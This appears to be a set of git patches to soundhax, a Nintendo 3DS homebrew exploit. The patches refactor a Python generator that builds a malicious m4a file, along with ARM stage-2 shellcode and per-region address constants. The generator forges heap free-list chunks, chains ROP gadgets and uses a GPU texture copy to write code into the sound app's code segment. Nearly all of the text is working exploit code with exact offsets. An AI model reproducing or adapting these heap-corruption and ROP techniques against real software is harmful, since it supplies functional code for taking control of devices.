From c791ce87bf26f5e422b0ea617564cc4bdaf4b6e9 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Sun, 29 Nov 2020 20:02:26 +0000 Subject: [PATCH 01/13] Fix bugs and refactor exploit code This fixes at least 4.0 KOR which never worked --- constants.py | 74 ++++++++++++++++++++++-------------------- exp.py | 90 ++++++++++++++++++++++++++++------------------------ stage2.s | 57 +++++++++++++++------------------ 3 files changed, 114 insertions(+), 107 deletions(-) diff --git a/constants.py b/constants.py index ad2e40f..61b7c70 100644 --- a/constants.py +++ b/constants.py @@ -1,24 +1,30 @@ """Python constants.""" STAGE2_SIZE = 0x300 +OTHERAPP_CODE_VA = 0x00101000 + +""" +code_image_size + +The size of the loaded image containing .text+.rodata+.data. +""" """ fake_free_chunk -2nd dword needs to be big enough, and it is -3rd, 4th dword are null so it looks like the list is empty -0x15D62F10: 0x15D62F48 ; no idea +2nd dword needs to be big enough, and it is. +4th dword is null so it looks like the tail of the list is empty. + +0x15D62F10: 0x15D62F48 ; don't care 0x15D62F14: 0x15D62F54 ; >= desired size -0x15D62F18: 0x00000000 ; prev -0x15D62F1C: 0x00000000 ; next +0x15D62F18: 0x00000000 ; prev, don't care as it will end up overwritten +0x15D62F1C: 0x00000000 ; next = NULL """ """ -start/end1 +fake_free_chunk_padding -we don't want the corrupted chunk to get added to the free -list when it's freed, so put fake size data in the header -so it doesn't get added. +Number of stack bytes that need to be inserted before we control pc. """ """ @@ -56,30 +62,30 @@ """ constants_21_22 = { + "code_image_size": { + # same + "usa": 0x00278000, + "eur": 0x00278000, + "jpn": 0x00278000, + }, "fake_free_chunk": { # same "usa": 0x15D62F10, "eur": 0x15D62F10, "jpn": 0x15D62F10, }, + "fake_free_chunk_padding": { + # same + "usa": 0xCC, + "eur": 0xCC, + "jpn": 0xCC, + }, "heapctx": { # same "usa": 0x0039B560, "eur": 0x0039B580, "jpn": 0x0039B520, }, - "start": { - # same - "usa": 0x140018AF, - "eur": 0x140018AF, - "jpn": 0x140018AF, - }, - "end1": { - # changed - "usa": 0x14001920, - "eur": 0x14001920, - "jpn": 0x14001920, - }, "sleep_gadget": { "usa": 0x001B5A5C, #same, actually (!!) "eur": 0x002F11B0, #changed @@ -142,35 +148,35 @@ } constants_3x_and_later = { + "code_image_size": { + "usa": 0x00278000, + "eur": 0x00278000, + "jpn": 0x00278000, + "kor": 0x00291000, + }, "fake_free_chunk": { "usa": 0x15D62F10, "eur": 0x15D62F10, "jpn": 0x15D62F10, "kor": 0x15D69A94, }, + "fake_free_chunk_padding": { + "usa": 0xCC, + "eur": 0xCC, + "jpn": 0xCC, + "kor": 0xA4, + }, "heapctx": { "usa": 0x0039B560, "eur": 0x0039B580, "jpn": 0x0039B520, "kor": 0x003B4520, }, - "start": { - "usa": 0x140018AF, - "eur": 0x140018AF, - "jpn": 0x140018AF, - "kor": 0x140018AF, - }, - "end1": { - "usa": 0x14001920, - "eur": 0x14001920, - "jpn": 0x14001920, - "kor": 0x14001920, - }, "sleep_gadget": { "usa": 0x001B5A5C, "eur": 0x002F11C0, "jpn": 0x002F0F28, - "kor": 0x0012A6C8, + "kor": 0x0022EAF8, # The gadget isn't correct K/C/T so we use 1 in the called func. }, "gpu_flushcache_gadget": { "usa": 0x002E2958, diff --git a/exp.py b/exp.py index b59b6bb..7f901a1 100644 --- a/exp.py +++ b/exp.py @@ -3,7 +3,7 @@ import sys from struct import pack from subprocess import call -from constants import STAGE2_SIZE, constants_21_22, constants_3x_and_later +from constants import STAGE2_SIZE, OTHERAPP_CODE_VA, constants_21_22, constants_3x_and_later from os import environ, path, name as osname REGION = "usa" @@ -18,12 +18,24 @@ if len(sys.argv) > 3: FIRM = sys.argv[3].lower() +# Check for impossible combinations +if TYPE not in ("old", "new"): + print("Error: invalid console type: {}".format(TYPE)) + sys.exit(1) +if TYPE == "new" and FIRM != "post5": + print("Error: can only use \"post5\" for N3DS") + sys.exit(1) +if FIRM == "v21and22" and REGION not in ("usa", "eur", "jpn"): + print("Error: {} can only be used for USA/EUR/JPN regions".format(FIRM)) + sys.exit(1) + constants = constants_3x_and_later if FIRM != "v21and22" else constants_21_22 for name, regions in constants.items(): if REGION not in regions: print("Error: {} does not contain a constant for {}".format(REGION, name)) + sys.exit(1) globals()[name] = regions[REGION] def p(x): @@ -50,60 +62,59 @@ def get_shellcode(): assert len(payload) == STAGE2_SIZE return payload -# end = end1 + end2 in the code, pick end2 so end wraps to start+4 -desired_end = start + 4 # to make size 4 -magic_end = (desired_end - end1) % 2**32 -assert (end1 + magic_end) % 2**32 == desired_end +def create_heap_chunk(prv, nxt, sz): + r = "DU\x00\x00" # "used" marker, plus alignment-related fields = 0 + r += p(sz) # size, < 0x10 to avoid putting it in free list + r += p(prv) + r += p(nxt) + return r malloc_free_list_head = heapctx + 0x3C -what = fake_free_chunk -where = malloc_free_list_head - -r1 = what -r2 = where - 12 - UNICODE_MARKER = '\xff\xfe' # unicode marker exp = "<\x003\x00 \x00n\x00e\x00d\x00w\x00i\x00l\x00l\x00 \x002\x000\x001\x006\x00" exp += " \x00"*((772-len(exp)) / 2) assert len(exp) == 772 -exp += "aaaa" # base -exp += p(magic_end) # r3 -exp += p(r2) # r2 -exp += p(r1) # r1 +# Set malloc_free_list_head = fake_free_chunk +# This also does fake_free_chunk->prev = malloc_free_list_head, which means +# malloc_free_list_head = NULL after the subsequent "stack" allocation. +# This should be fine unless we take over the control flow too late. +exp += create_heap_chunk(malloc_free_list_head - 12, fake_free_chunk, 0) def pa_to_gpu(pa): - return pa - 0x0C000000 + return pa - 0x20000000 + 0x14000000 def gpu_to_pa(gpua): - return gpua + 0x0C000000 + return gpua - 0x14000000 + 0x20000000 -# 16:06:09 @yellows8 | "> readmem:11usr=CtrApp 0x002F5d00 0x100" -# "Using physical address: 0x27bf5d00 (in_address = 0x002f5d00)" def code_va_to_pa(va): - if TYPE == "old": - if FIRM == "post5": - return va + 0x23D00000 - else: - return va + 0x23D00000 - 0x78000 + """ + Since the APPLICATION memregion is unused before we start up the application, + the image is allocated from the end of the memregion, at end(APPLICATION) - code_image_size + (linear mem is allocated from the start). + + Before system version 5.0, the image VA<>PA mapping is flat. On 5.0 and above, however, + the kernel tries to optimize the layout by giving mappings that as as large as possible. + + Since .text is the only section/segment being bigger than 1MB (it's almost 2MB in size), its first + MB is given a "section" (1MB) mapping at end(APPLICATION) - 2MB. + """ + off = va - 0x00100000 + appmem_end = 0x24000000 if TYPE == "old" else 0x27C00000 + + if FIRM == "post5" or TYPE == "new": + return appmem_end - 0x00200000 + off else: - return va + 0x27900000 + return appmem_end - code_image_size + off -#starts at this pop -#.text:0027DB00 LDMFD SP!, {R4-R10,PC} +def code_va_to_gpu(va): + return pa_to_gpu(code_va_to_pa(va)) payload = get_shellcode() -rop = "AAAA" # r4 -rop += "BBBB" # r5 -rop += "CCCC" # r6 -rop += "DDDD" # r7 -rop += "EEEE" # r8 -rop += "FFFF" # r9 -rop += "GGGG" # r10 -rop += p(pop_r0_pc) # pc +rop = p(pop_r0_pc) # pc rop += p(payload_heap_addr) # dst rop += p(pop_r1_pc) rop += p(payload_stack_addr) # src @@ -134,7 +145,7 @@ def code_va_to_pa(va): rop += "aaaa" # skipped rop += p(4) rop += p(payload_heap_addr) -rop += p(pa_to_gpu(code_va_to_pa(stage2_code_va))) +rop += p(code_va_to_gpu(stage2_code_va)) rop += p(STAGE2_SIZE) rop += p(0) rop += p(0) @@ -157,14 +168,12 @@ def code_va_to_pa(va): rop += p(0) # r1 rop += p(sleep_gadget) # pc # {R4-R6,LR} rop += "aaaa" # r4 -rop += "bbbb" # r5 +rop += p(code_va_to_gpu(OTHERAPP_CODE_VA)) # r5 rop += "cccc" # r6 rop += p(stage2_code_va) rop += payload -tkhd_data = 'A'*136 # padding -if REGION != 'kor': - tkhd_data += 'A'*0x28 # padding +tkhd_data = 'P'*fake_free_chunk_padding # padding tkhd_data += rop # ROP starts here tkhd_data += '00000002000000000000940000000000000000000000000001000000000100000000000000'.decode("hex") tkhd_data += '0000000000000000010000000000000000000000000000400000000000000000000000'.decode("hex") @@ -256,7 +265,6 @@ def internal(tree): assert TYPE == "old" if FIRM == "v21and22": - assert REGION in ("usa", "eur", "jpn") fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v2.1and2.2") elif FIRM == "v3xand4x": fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v3.xand4.x") diff --git a/stage2.s b/stage2.s index 6b6dfad..96a90f8 100644 --- a/stage2.s +++ b/stage2.s @@ -92,37 +92,33 @@ #define OTHERAPP_ADDR 0x142C0000 #define OTHERAPP_SIZE 0xC000 #define OTHERAPP_CODE_VA 0x00101000 -#ifdef NEW -/* OTHERAPP_CODE_VA + 0x27900000 */ -#define OTHERAPP_CODE_PA 0x27a01000 -#else -/* OTHERAPP_CODE_VA + 0x23D00000 */ -#if defined(POST5) -#define OTHERAPP_CODE_PA 0x23e01000 -#else -#define OTHERAPP_CODE_PA 0x23e01000 - 0x78000 -#endif -#endif -#define OTHERAPP_CODE_GPU (OTHERAPP_CODE_PA - 0xc000000) #define PARAMBLK_ADDR 0x14000000 .text .global _start _start: +/* OTHERAPP_CODE_GPU is in r5 */ /* Initialize stack. */ mov sp, #0x10000000 sub sp, #0x2C /* Tell GSP thread to fuck off. */ ldr r0, =GSP_THREAD_OBJ_PTR -#if defined(KOR) - ldr r0, [r0,#GSP_THREAD_OBJ_PTR_OFFSET] +#if defined(GSP_THREAD_OBJ_PTR_OFFSET) + ldr r0, [r0, #GSP_THREAD_OBJ_PTR_OFFSET] #endif mov r1, #1 strb r1, [r0, #0x77] ldr r0, [r0, #0x2C] svc 0x18 -#if defined(KOR) //A srv-notification thread is running that can't return from the thread-function. With KOR it's within the otherapp .text range. Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN with the next call. Then send a notification so that it returns from waitsync for using the new handle. +/* + * A srv-notification thread is running that can't return from the thread-function. + * With KOR it's within the otherapp .text range. Overwrite the handle it uses so that + * it won't return from svcWaitSynchronizationN with the next call. Then send a notification + * so that it returns from waitsync for using the new handle. + */ +#if defined(SRV_SEMAPHORE) + mov r0, #0 svc 0x17 @ svcCreateEvent ldr r3, =SRV_SEMAPHORE str r1, [r3] @@ -131,10 +127,6 @@ _start: mov r1, #0x1 bl srv_PublishToSubscriber #endif -/* Mount SD card. */ -// adr r0, sdmc_str -// ldr r1, =FS_MOUNT_SDMC -// blx r1 /* Open otherapp.bin on sdcard root. */ add r0, sp, #0xC // file_handle_out adr r1, otherapp_str // path @@ -153,7 +145,7 @@ _start: ldr r4, =FS_READ_FILE blx r4 /* Gspwn it to code segment. */ - ldr r0, =OTHERAPP_CODE_GPU // dst + mov r0, r5 // dst ldr r1, =OTHERAPP_ADDR // src ldr r2, =OTHERAPP_SIZE // size bl gsp_gxcmd_texturecopy @@ -174,6 +166,7 @@ _start: add r2, r0, #0x58 // gsp_handle str r3, [r2] /* smea's magic does the rest. */ + add sp, #0x2C ldr r0, =PARAMBLK_ADDR // param_blk ldr r1, =0x10000000 - 4 // stack_ptr ldr r2, =OTHERAPP_CODE_VA @@ -195,36 +188,36 @@ small_sleep: /* gsp_gxcmd_texturecopy: Trigger GPU memcpy. */ gsp_gxcmd_texturecopy: - push {lr} + push {r4, lr} sub sp, #0x20 - mov r4, #0 + mov r3, #0 - mov r5, #4 // cmd_type=TEXTURE_COPY - str r5, [sp] + mov r4, #4 // cmd_type=TEXTURE_COPY + str r4, [sp] str r1, [sp, #4] // src_ptr=r1 str r0, [sp, #8] // dst_ptr=r0 str r2, [sp, #0xC] // size=r2 - str r4, [sp, #0x10] // in_dimensions=0 - str r4, [sp, #0x14] // out_dimensions=0 - mov r5, #8 - str r5, [sp, #0x18] // flags=8 - str r4, [sp, #0x1C] // unused=0 + str r3, [sp, #0x10] // in_dimensions=0 + str r3, [sp, #0x14] // out_dimensions=0 + mov r4, #8 + str r4, [sp, #0x18] // flags=8 + str r3, [sp, #0x1C] // unused=0 mov r0, sp bl gsp_execute_gpu_cmd add sp, #0x20 - pop {pc} + pop {r4, pc} .pool gsp_execute_gpu_cmd: - push {lr} + push {r4, lr} mov r1, r0 ldr r4, =GSP_GET_INTERRUPTRECEIVER blx r4 add r0, #0x58 ldr r4, =GSP_ENQUEUE_CMD blx r4 - pop {pc} + pop {r4, pc} .pool #if defined(SRV_SESSIONHANDLE) From 9d9f035f6687d88da6613dff753ee9c344045b1e Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Sun, 29 Nov 2020 20:21:42 +0000 Subject: [PATCH 02/13] Separate stage2 constants into their own header files --- constants.h | 49 ------------------- stage2.s | 88 ++--------------------------------- stage2_constants_post3.0.h | 57 +++++++++++++++++++++++ stage2_constants_v2.1and2.2.h | 41 ++++++++++++++++ 4 files changed, 101 insertions(+), 134 deletions(-) delete mode 100644 constants.h create mode 100644 stage2_constants_post3.0.h create mode 100644 stage2_constants_v2.1and2.2.h diff --git a/constants.h b/constants.h deleted file mode 100644 index fa45132..0000000 --- a/constants.h +++ /dev/null @@ -1,49 +0,0 @@ -/* sound constants by nedwill */ -#define GARBAGE 0xDEADC0DE - -#define REGION_CONST(name, eur, usa, jap) .set name, usa -#define GLOBAL_CONST(name, val) .set name, val - -#define PA_TO_GPU_ADDR(pa) ((pa) - 0x0C000000) -#define GPU_TO_PA_ADDR(pa) ((pa) + 0x0C000000) - -/* Apparently JAP code is a bit smaller than the other ones, making code.bin - being allocated at a slightly different address. */ -REGION_CONST(NEW_VA_TO_PA, 0x27700000, 0x27700000, 0x27800000); -REGION_CONST(OLD_VA_TO_PA, 0x23B00000, 0x23B00000, 0x23C00000); - -#if defined(NEW3DS) -#define CODE_VA_TO_PA(va) ((va) + NEW_VA_TO_PA) -#else -#define CODE_VA_TO_PA(va) ((va) + OLD_VA_TO_PA) -#endif - -/* FS functions. */ -REGION_CONST(FS_MOUNT_SDMC, 0x002CCCF8, 0x002CDA28, 0x002CCA34); -REGION_CONST(FS_OPEN_FILE, 0x0028CC30, 0x0028D220, 0x0028C830); -REGION_CONST(FS_READ_FILE, 0x00115A90, 0x00115B00, 0x00115A80); - -/* GSP functions. */ -REGION_CONST(GSP_FLUSH_DATA_CACHE, 0x00116AB8, 0x00116B28, 0x00116AA8); -REGION_CONST(GSP_ENQUEUE_CMD, 0x00285994, 0x00285F84, 0x00285594); -REGION_CONST(GSP_GX_CMD4, 0x00116BB8, 0x00116C28, 0x00116BA8); -REGION_CONST(GSP_GET_HANDLE, 0x0028A8F8, 0x0028AEE8, 0x0028A4F8); -REGION_CONST(GSP_GET_INTERRUPTRECEIVER, 0x00287F94, 0x00288584, 0x00287B94); -REGION_CONST(GSP_WRITE_HW_REGS, 0x00110080, 0x001100F0, 0x00110070); -REGION_CONST(GSP_THREAD_OBJ_PTR, 0x00594C40, 0x0051FC40, 0x00480C40); - -/* We will overwrite the padding at end of the last code page. This guarantees - that we don't overwrite existing code, and also avoids potential issues - with the instruction cache. */ -REGION_CONST(STAGE2_CODE_VA, 0x003AE800, 0x003AF200, 0x003AE400); -GLOBAL_CONST(STAGE2_CODE_PA, CODE_VA_TO_PA(STAGE2_CODE_VA)); -GLOBAL_CONST(STAGE2_SIZE, 0x800); // European game limits this size. - -GLOBAL_CONST(FREAKYBIN_LOAD_ADDR, 0x14200000); -GLOBAL_CONST(FRAMEBUF_ADDR, 0x14200000); -GLOBAL_CONST(FRAMEBUF_SIZE, (400*240*4)); -GLOBAL_CONST(PARAMBLK_ADDR, 0x14000000); -GLOBAL_CONST(OTHERAPP_CODE_VA, 0x00101000); -GLOBAL_CONST(OTHERAPP_CODE_PA, CODE_VA_TO_PA(OTHERAPP_CODE_VA)); -GLOBAL_CONST(OTHERAPP_ADDR, 0x142C0000); -GLOBAL_CONST(OTHERAPP_SIZE, 0xC000); diff --git a/stage2.s b/stage2.s index 96a90f8..0c28e60 100644 --- a/stage2.s +++ b/stage2.s @@ -1,92 +1,10 @@ /* soundhax stage 2 */ /* ported by nedwill from freakyhax (plutoo), with permission */ -#if defined(USA) - -#define GSP_THREAD_OBJ_PTR 0x003BFFF0 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C41F4 -#define GSP_GX_CMD4 0x002E9380 -#define GSP_FLUSH_DATA_CACHE 0x002E2940 - -#else - -#define FS_READ_FILE 0x002C4204 -#define GSP_GX_CMD4 0x002E9390 -#define GSP_FLUSH_DATA_CACHE 0x002E2950 - -#endif - -#elif defined(EUR) - -#define GSP_THREAD_OBJ_PTR 0x003C0010 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C4364 -#define GSP_GX_CMD4 0x002E94F0 -#define GSP_FLUSH_DATA_CACHE 0x002E2AB0 - -#else - -#define FS_READ_FILE 0x002C4374 -#define GSP_GX_CMD4 0x002E9500 -#define GSP_FLUSH_DATA_CACHE 0x002E2AC0 - -#endif - -#elif defined(JPN) - -#define GSP_THREAD_OBJ_PTR 0x003BFFB0 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C40CC -#define GSP_GX_CMD4 0x002E9258 -#define GSP_FLUSH_DATA_CACHE 0x002E2818 - -#else - -#define FS_READ_FILE 0x002C40DC -#define GSP_GX_CMD4 0x002E9268 -#define GSP_FLUSH_DATA_CACHE 0x002E2828 - -#endif - -#elif defined(KOR) - -#if defined(V21AND22) -#error "KOR region supported for this firmware version" -#endif - -#define SRV_SESSIONHANDLE 0x0038d1c4 -#define SRV_SEMAPHORE 0x0038d1b4 -#define GSP_THREAD_OBJ_PTR 0x0038CA20 -#define GSP_THREAD_OBJ_PTR_OFFSET 0x1C -#define FS_OPEN_FILE 0x0022F094 -#define FS_READ_FILE 0x0010C83C -#define GSP_GET_HANDLE 0x00223890 -#define GSP_GX_CMD4 0x001318A0 -#define GSP_FLUSH_DATA_CACHE 0x0012B728 -#define GSP_GET_INTERRUPTRECEIVER 0x00223880 -#define GSP_ENQUEUE_CMD 0x0022109C - +#ifdef V21AND22 +#include "stage2_constants_v2.1and2.2.h" #else -#error "region not supported" +#include "stage2_constants_post3.0.h" #endif #define OTHERAPP_ADDR 0x142C0000 diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h new file mode 100644 index 0000000..cb3785f --- /dev/null +++ b/stage2_constants_post3.0.h @@ -0,0 +1,57 @@ +/* stage2 constants for system versions v3.0 and above */ + +#if defined(USA) + +#define GSP_THREAD_OBJ_PTR 0x003BFFF0 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4204 +#define GSP_GX_CMD4 0x002E9390 +#define GSP_FLUSH_DATA_CACHE 0x002E2950 + +#elif defined(EUR) + +#define GSP_THREAD_OBJ_PTR 0x003C0010 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4374 +#define GSP_GX_CMD4 0x002E9500 +#define GSP_FLUSH_DATA_CACHE 0x002E2AC0 + +#elif defined(JPN) + +#define GSP_THREAD_OBJ_PTR 0x003BFFB0 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C40DC +#define GSP_GX_CMD4 0x002E9268 +#define GSP_FLUSH_DATA_CACHE 0x002E2828 + +#elif defined(KOR) + +#define GSP_THREAD_OBJ_PTR 0x0038CA20 +#define FS_OPEN_FILE 0x0022F094 +#define GSP_GET_HANDLE 0x00223890 +#define GSP_GET_INTERRUPTRECEIVER 0x00223880 +#define GSP_ENQUEUE_CMD 0x0022109C + +#define FS_READ_FILE 0x0010C83C +#define GSP_GX_CMD4 0x001318A0 +#define GSP_FLUSH_DATA_CACHE 0x0012B728 + +#define SRV_SESSIONHANDLE 0x0038D1C4 +#define SRV_SEMAPHORE 0x0038D1B4 +#define GSP_THREAD_OBJ_PTR_OFFSET 0x1C + +#else +#error "Region not supported for this system version range" +#endif diff --git a/stage2_constants_v2.1and2.2.h b/stage2_constants_v2.1and2.2.h new file mode 100644 index 0000000..6923b04 --- /dev/null +++ b/stage2_constants_v2.1and2.2.h @@ -0,0 +1,41 @@ +/* stage2 constants for system versions v2.1 and v2.2 */ + +#if defined(USA) + +#define GSP_THREAD_OBJ_PTR 0x003BFFF0 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C41F4 +#define GSP_GX_CMD4 0x002E9380 +#define GSP_FLUSH_DATA_CACHE 0x002E2940 + +#elif defined(EUR) + +#define GSP_THREAD_OBJ_PTR 0x003C0010 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4364 +#define GSP_GX_CMD4 0x002E94F0 +#define GSP_FLUSH_DATA_CACHE 0x002E2AB0 + +#elif defined(JPN) + +#define GSP_THREAD_OBJ_PTR 0x003BFFB0 +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C40CC +#define GSP_GX_CMD4 0x002E9258 +#define GSP_FLUSH_DATA_CACHE 0x002E2818 + +#else +#error "Region not supported for this system version range" +#endif From 015ace39f91bc1494da8d4198f46777a3e1795b1 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Mon, 30 Nov 2020 20:02:59 +0000 Subject: [PATCH 03/13] Use srv-notification workaround for all versions --- stage2.s | 12 ++++-------- stage2_constants_post3.0.h | 9 +++++++++ stage2_constants_v2.1and2.2.h | 9 +++++++++ 3 files changed, 22 insertions(+), 8 deletions(-) diff --git a/stage2.s b/stage2.s index 0c28e60..71beaf4 100644 --- a/stage2.s +++ b/stage2.s @@ -31,20 +31,18 @@ _start: svc 0x18 /* * A srv-notification thread is running that can't return from the thread-function. - * With KOR it's within the otherapp .text range. Overwrite the handle it uses so that - * it won't return from svcWaitSynchronizationN with the next call. Then send a notification - * so that it returns from waitsync for using the new handle. + * Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN + * with the next call. Then send a notification so that it returns from waitsync and + * uses the new handle. */ -#if defined(SRV_SEMAPHORE) mov r0, #0 - svc 0x17 @ svcCreateEvent + svc 0x17 // svcCreateEvent ldr r3, =SRV_SEMAPHORE str r1, [r3] ldr r0, =0x207 mov r1, #0x1 bl srv_PublishToSubscriber -#endif /* Open otherapp.bin on sdcard root. */ add r0, sp, #0xC // file_handle_out adr r1, otherapp_str // path @@ -138,7 +136,6 @@ gsp_execute_gpu_cmd: pop {r4, pc} .pool -#if defined(SRV_SESSIONHANDLE) srv_PublishToSubscriber: push {r4, lr} mrc p15, 0, r4, cr13, cr0, 3 @@ -157,7 +154,6 @@ srv_PublishToSubscriber: ldrge r0, [r4, #4] pop {r4, pc} .pool -#endif /* Force assembler error if payload becomes greater than 0x800. */ .org 0x300, 0x45 diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h index cb3785f..8d7252c 100644 --- a/stage2_constants_post3.0.h +++ b/stage2_constants_post3.0.h @@ -12,6 +12,9 @@ #define GSP_GX_CMD4 0x002E9390 #define GSP_FLUSH_DATA_CACHE 0x002E2950 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #elif defined(EUR) #define GSP_THREAD_OBJ_PTR 0x003C0010 @@ -24,6 +27,9 @@ #define GSP_GX_CMD4 0x002E9500 #define GSP_FLUSH_DATA_CACHE 0x002E2AC0 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #elif defined(JPN) #define GSP_THREAD_OBJ_PTR 0x003BFFB0 @@ -36,6 +42,9 @@ #define GSP_GX_CMD4 0x002E9268 #define GSP_FLUSH_DATA_CACHE 0x002E2828 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #elif defined(KOR) #define GSP_THREAD_OBJ_PTR 0x0038CA20 diff --git a/stage2_constants_v2.1and2.2.h b/stage2_constants_v2.1and2.2.h index 6923b04..3b9bb35 100644 --- a/stage2_constants_v2.1and2.2.h +++ b/stage2_constants_v2.1and2.2.h @@ -12,6 +12,9 @@ #define GSP_GX_CMD4 0x002E9380 #define GSP_FLUSH_DATA_CACHE 0x002E2940 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #elif defined(EUR) #define GSP_THREAD_OBJ_PTR 0x003C0010 @@ -24,6 +27,9 @@ #define GSP_GX_CMD4 0x002E94F0 #define GSP_FLUSH_DATA_CACHE 0x002E2AB0 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #elif defined(JPN) #define GSP_THREAD_OBJ_PTR 0x003BFFB0 @@ -36,6 +42,9 @@ #define GSP_GX_CMD4 0x002E9258 #define GSP_FLUSH_DATA_CACHE 0x002E2818 +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + #else #error "Region not supported for this system version range" #endif From 733e473bb719b7ccacb6c187cdbd4da887e7219e Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Tue, 1 Dec 2020 23:19:45 +0000 Subject: [PATCH 04/13] Make sure another problematic thread terminates --- stage2.s | 9 +++++++++ stage2_constants_post3.0.h | 12 ++++++++++++ stage2_constants_v2.1and2.2.h | 9 +++++++++ 3 files changed, 30 insertions(+) diff --git a/stage2.s b/stage2.s index 71beaf4..e41bbd0 100644 --- a/stage2.s +++ b/stage2.s @@ -29,6 +29,15 @@ _start: strb r1, [r0, #0x77] ldr r0, [r0, #0x2C] svc 0x18 + +/* Tell another problematic thread to fuck off as well. */ + ldr r0, =THREAD8_OBJ + mov r1, #0 + strb r1, [r0, #0x0D] + ldr r0, =THREAD8_EVENT_HANDLE + ldr r0, [r0] + svc 0x18 + /* * A srv-notification thread is running that can't return from the thread-function. * Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h index 8d7252c..82b2a90 100644 --- a/stage2_constants_post3.0.h +++ b/stage2_constants_post3.0.h @@ -15,6 +15,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C1308 +#define THREAD8_OBJ 0x003C2658 + #elif defined(EUR) #define GSP_THREAD_OBJ_PTR 0x003C0010 @@ -30,6 +33,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C1328 +#define THREAD8_OBJ 0x003C2678 + #elif defined(JPN) #define GSP_THREAD_OBJ_PTR 0x003BFFB0 @@ -45,6 +51,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C12C8 +#define THREAD8_OBJ 0x003C2618 + #elif defined(KOR) #define GSP_THREAD_OBJ_PTR 0x0038CA20 @@ -61,6 +70,9 @@ #define SRV_SEMAPHORE 0x0038D1B4 #define GSP_THREAD_OBJ_PTR_OFFSET 0x1C +#define THREAD8_EVENT_HANDLE 0x003D3CEC +#define THREAD8_OBJ 0x003D52A0 + #else #error "Region not supported for this system version range" #endif diff --git a/stage2_constants_v2.1and2.2.h b/stage2_constants_v2.1and2.2.h index 3b9bb35..9fb558a 100644 --- a/stage2_constants_v2.1and2.2.h +++ b/stage2_constants_v2.1and2.2.h @@ -15,6 +15,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C1308 +#define THREAD8_OBJ 0x003C2658 + #elif defined(EUR) #define GSP_THREAD_OBJ_PTR 0x003C0010 @@ -30,6 +33,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C1328 +#define THREAD8_OBJ 0x003C2678 + #elif defined(JPN) #define GSP_THREAD_OBJ_PTR 0x003BFFB0 @@ -45,6 +51,9 @@ #define SRV_SESSIONHANDLE 0x00374258 #define SRV_SEMAPHORE 0x00374248 +#define THREAD8_EVENT_HANDLE 0x003C12C8 +#define THREAD8_OBJ 0x003C2618 + #else #error "Region not supported for this system version range" 